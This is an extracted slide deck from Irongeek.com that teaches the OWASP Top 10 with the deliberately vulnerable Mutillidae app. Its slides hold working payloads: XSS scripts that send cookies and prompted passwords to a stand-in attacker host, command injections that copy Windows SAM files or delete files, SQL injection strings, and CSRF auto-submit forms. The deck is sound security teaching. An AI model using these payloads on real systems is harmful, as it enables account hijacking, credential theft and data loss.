The document discusses various web application vulnerabilities from the OWASP Top 10 list, including cross-site scripting (XSS), SQL injection, remote file inclusion, insecure direct object references, and cross-site request forgery (CSRF). It provides examples of each vulnerability type and recommendations for prevention. It also introduces Mutillidae, a deliberately vulnerable web application that can be used to demonstrate these vulnerabilities in a controlled environment.

1. http://Irongeek.com
Adrian Crenshaw

2. http://Irongeek.com
 I run Irongeek.com
 I have an interest in InfoSec
education
 I don’t know everything - I’m just a
geek with time on my hands
 I’m also not a professional web
developer, creating crappy code
was easy or me. 
 So why listen to me? Sometimes it
takes a noob to teach a noob.

3. http://Irongeek.com
 OWASP Top 10
http://www.owasp.org/index.php/OWASP_Top_Ten_Project
(As a side note, I’ve copied quite of few of their descriptions and fixes into this presentation)
 Mutillidae
http://www.irongeek.com/i.php?page=security/mutillidae-
deliberately-vulnerable-php-owasp-top-10
 Ok, but what are those?

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The 2007 list includes:
 A1 - Cross Site Scripting (XSS)
 A2 - Injection Flaws
 A3 - Malicious File Execution
 A4 - Insecure Direct Object Reference
 A5 - Cross Site Request Forgery (CSRF)
 A6 - Information Leakage and Improper Error Handling
 A7 - Broken Authentication and Session Management
 A8 - Insecure Cryptographic Storage
 A9 - Insecure Communications
 A10 - Failure to Restrict URL Access
The OWASP Top Ten represents a broad consensus about what the most critical
web application security flaws are.

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 A teaching tool for illustrating the OWASP 10
 Written in PHP/MySQL
 Meant to be simpler than WebGoat
 Simple to exploit, just to get the concept across
 Easy to reset
 Includes a “Tips” function to help the student

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1. Download Mutillidae
http://www.irongeek.com/i.php?page=security/mutillidae-
deliberately-vulnerable-php-owasp-top-10
2. Grab XAMPP Lite and install it
http://www.apachefriends.org/en/xampp.html
3. Put the Mutillidae files in htdocs
4. May want to edit xamppliteapacheconfhttpd.conf and
set “Listen 127.0.0.1:80 “

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XSS flaws occur whenever an
application takes user supplied data and
sends it to a web browser without first
validating or encoding that content. XSS
allows attackers to execute script in the
victim's browser which can hijack user
sessions, deface web sites, possibly
introduce worms, etc.

8. http://Irongeek.com
 Simple:
<script>alert("XSS");</script>
 Page Redirect:
<script>window.location =
"http://www.irongeek.com/"</script>
 Cookie Stealing:
<script>
new
Image().src="http://attacker.hak/catch.php?cookie="+encod
eURI(document.cookie);
</script>

9. http://Irongeek.com
 Simple:
<script>alert("XSS");</script>
 Page Redirect:
<script>window.location = "http://www.irongeek.com/"</script>
 Cookie Stealing:
<script>
new Image().src="http://attacker.hak/catch.php?cookie="+encodeURI(document.cookie);
</script>
 Password Con:
<script>
username=prompt('Please enter your username',' ');
password=prompt('Please enter your password',' ');
document.write("<img
src="http://attacker.hak/catch.php?username="+username+"&password="+password+""
>");
</script>

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 External Javascript:
<script src="http://ha.ckers.org/xss.js">
</script>
 Hot BeEF Injection:
<script language='Javascript'
src='http://localhost/beef/hook/beefmagic.js.php'></script>
 How about the User Agent string?

11. http://Irongeek.com
 Mangle XSS to bypass filters:
http://ha.ckers.org/xss.html
 BeEF browser exploitation framework
http://www.bindshell.net/tools/beef
 XSS Me Firefox plugin
https://addons.mozilla.org/en-US/firefox/addon/7598
 Exotic Injection Vectors
http://www.irongeek.com/i.php?page=security/xss-sql-and-
command-inject-vectors

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 Input validation.
 Strong output encoding. htmlspecialchars()
 Specify the output encoding.
 Do not use "blacklist" validation to detect XSS in
input or to encode output.
 Watch out for canonicalization errors.

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Injection flaws, particularly SQL
injection, are common in web applications.
Injection occurs when user-supplied data is
sent to an interpreter as part of a command
or query. The attacker's hostile data tricks
the interpreter into executing unintended
commands or changing data.

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The Code:
“SELECT * FROM accounts WHERE username='". $username ."' AND
password='".stripslashes($password).”’”
or
echo shell_exec("nslookup " . $targethost);'“
Expected to fill in the string to:
SELECT * FROM accounts WHERE username=‘adrian' AND password=‘somepassword’
or
Nslookup irongeek.com
But what if the person injected:
SELECT * FROM accounts WHERE username=‘adrian' AND password=‘somepassword’ or 1=1 -- ’
or
Nslookup irongeek.com && del *.*

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 Simple SQL Injection:
' or 1=1 --
 Wish I could do this, but can't stack in MySQL/PHP
'; DROP TABLE owasp10; --
 Command Injections:
&& dir
&& wmic process list
&& wmic useraccount list
&& copy c:WINDOWSrepairsam && copy
c:WINDOWSrepairsystem.bak
 (use ; as a separator if you are running this on Linux)

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 SQL Injection Cheat Sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
 SQL Injection Attacks by Example
http://unixwiz.net/techtips/sql-injection.html
 Command line Kung Fu
http://blog.commandlinekungfu.com/

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 Input validation.
 Use strongly typed parameterized query APIs
(bound parameters).
 Enforce least privilege.
 Avoid detailed error messages.
 Show care when using stored procedures.
 Do not use dynamic query interfaces.
 Do not use simple escaping functions.
 Watch out for canonicalization errors.

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Code vulnerable to remote file
inclusion (RFI) allows attackers to include
hostile code and data, resulting in
devastating attacks, such as total server
compromise. Malicious file execution
attacks affect PHP, XML and any framework
which accepts filenames or files from users.

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 Grabbing a local file:
http://target.hak/index.php?page=source-
viewer.php&php_file_name=config.inc
 Tamper Data, POST data and an inadvertent proxy

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 Tamper Data Firefox Plugin
https://addons.mozilla.org/en-US/firefox/addon/966
 Paros
http://www.parosproxy.org/index.shtml
 WebScarab
http://www.owasp.org/index.php/Category:OWASP
_WebScarab_Project

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 Strongly validate user input using "accept known good" as a strategy
 Add firewall rules to prevent web servers making new connections to
external web sites and internal systems.
 Consider implementing a chroot jail or other sand box mechanisms.
 # PHP: Disable allow_url_fopen and allow_url_include in php.ini and
consider .building PHP locally to not include this functionality.
 # PHP: Disable register_globals and use E_STRICT to find uninitialized
variables.
 # PHP: Ensure that all file and streams functions (stream_*) are carefully
vetted.

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A direct object reference occurs when
a developer exposes a reference to an
internal implementation object, such as a
file, directory, database record, or key, as a
URL or form parameter. Attackers can
manipulate those references to access
other objects without authorization.

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 You already saw it with the malicious file include
demo.

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 Avoid exposing your private object references to
users whenever possible, such as primary keys or
filenames.
 Validate any private object references extensively
with an "accept known good" approach.
 Verify authorization to all referenced objects.

25. http://Irongeek.com
A CSRF attack forces a logged-on
victim's browser to send a pre-authenticated
request to a vulnerable web application,
which then forces the victim's browser to
perform a hostile action to the benefit of the
attacker. CSRF can be as powerful as the
web application that it attacks.

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Target Web App
Client
Website the
attacker controls
1. Session established
with web app via a
cookie. (already logged
in)
2. At some later point,
content that the
attacker controls is
requested.
3. Attacker serves up
content that asks
client’s browser to
make a request.
4. Client makes request,
and since it already has
a session cookie the
request is honored.

27. http://Irongeek.com
 Let visit a page with this lovely link:
<img src="http://target.hak/index.php?page=add-to-your-
blog.php&input_from_form=hi%20there%20monkeyboy">
 Don’t want to use a bad image? Try an Iframe:
<iframe src="http://target.hak/index.php?page=add-to-your-
blog.php&input_from_form=hi%20there%20monkeyboy"" style="width:0px;
height:0px; border: 0px"></iframe>
 Can’t use the GET method? Try something like:
<html> <body>
<form name="csrfform" method="post"
action="http://target.hak/index.php?page=add-to-your-blog.php">
<input type='hidden' name='input_from_form'
value="Test of of auto submitted form.">
</form>
<script>document.csrfform.submit()</script>
</body></html>

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 CSRF Flaws Found On Major Websites, Including a
Bank
http://it.slashdot.org/article.pl?sid=08/09/30/0136219
 CSRF Home Router Fun
http://www.gnucitizen.org/blog/persistent-xss-and-csrf-on-wireless-g-
adsl-gateway-with-speedbooster-wag54gs/
 CSRF in Gmail
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/

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 For sensitive data or value transactions, re-authenticate or
use transaction signing to ensure that the request is
genuine.
 Do not use GET requests (URLs) for sensitive data or to
perform value transactions. (see next point)
 POST alone is insufficient protection.
 Consider adding Captchas and extra sessions values as
hidden form elements.

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 Deliberately Insecure Web Applications For
Learning Web App Security
http://www.irongeek.com/i.php?page=security/deli
berately-insecure-web-applications-for-learning-
web-app-security

31. http://Irongeek.com
 SamuraiWTF
http://samurai.inguardians.com/
 OWASP Live CD
http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project
 BackTrack
http://www.remote-exploit.org/backtrack.html

32. http://Irongeek.com
 Free ISSA classes
 ISSA Meeting
http://issa-kentuckiana.org/
 Louisville Infosec
http://www.louisvilleinfosec.com/
 Phreaknic/Notacon/Outerz0ne
http://phreaknic.info
http://notacon.org/
http://www.outerz0ne.org/

33. http://Irongeek.com
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